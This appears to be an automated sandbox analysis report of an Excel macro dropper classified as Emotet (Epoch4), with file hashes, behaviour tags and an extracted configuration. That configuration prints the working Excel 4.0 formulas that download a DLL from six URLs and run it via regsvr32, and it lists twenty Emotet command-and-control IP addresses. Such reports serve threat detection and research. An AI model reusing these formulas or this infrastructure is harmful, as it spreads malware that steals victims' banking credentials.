Overview

overview

10

Static

static

10

?i=1itndulnv.xlsm

windows7_x64

10

?i=1itndulnv.xlsm

windows10-2004_x64

10

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General

  • Target

    ?i=1itndulnv

  • Size

    46KB

  • Sample

    220421-x28cqacbfq

  • MD5

    363495acb4327435709de91edaef8338

  • SHA1

    11ea485cddc9de2db0397f02f00a564a9468f032

  • SHA256

    64d92f79a2d87571d428b7b19ef4f5c1680c24c8952a2f46b84f217cfba19766

  • SHA512

    1502abfa4494c69541cbaf3f00b176f04a45802b35a0818f0a46cd229a99dd675a7b8746efa946ea37efd7305c18a00eaba4a48c251d19d084fcbf4e575cf10e

Score
10/10
emotetepoch4bankermacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
xlm40.dropper

https://txpcrescue.com/cgi-bin/5tSO8/

Extracted

Family

emotet

Botnet

Epoch4

C2

68.183.94.239:80

104.131.11.205:443

138.197.109.175:8080

187.84.80.182:443

79.143.187.147:443

216.158.226.206:443

167.99.115.35:8080

212.24.98.99:8080

1.234.21.73:7080

206.189.28.199:8080

158.69.222.101:443

164.68.99.3:8080

188.44.20.25:443

185.157.82.211:8080

134.122.66.193:8080

196.218.30.83:443

72.15.201.15:8080

5.9.116.246:8080

176.104.106.96:8080

153.126.146.25:7080
eck1.plain
ecs1.plain

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      ?i=1itndulnv

    • Size

      46KB

    • MD5

      363495acb4327435709de91edaef8338

    • SHA1

      11ea485cddc9de2db0397f02f00a564a9468f032

    • SHA256

      64d92f79a2d87571d428b7b19ef4f5c1680c24c8952a2f46b84f217cfba19766

    • SHA512

      1502abfa4494c69541cbaf3f00b176f04a45802b35a0818f0a46cd229a99dd675a7b8746efa946ea37efd7305c18a00eaba4a48c251d19d084fcbf4e575cf10e

    Score
    10/10
    emotetepoch4bankertrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    • Drops file in System32 directory

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks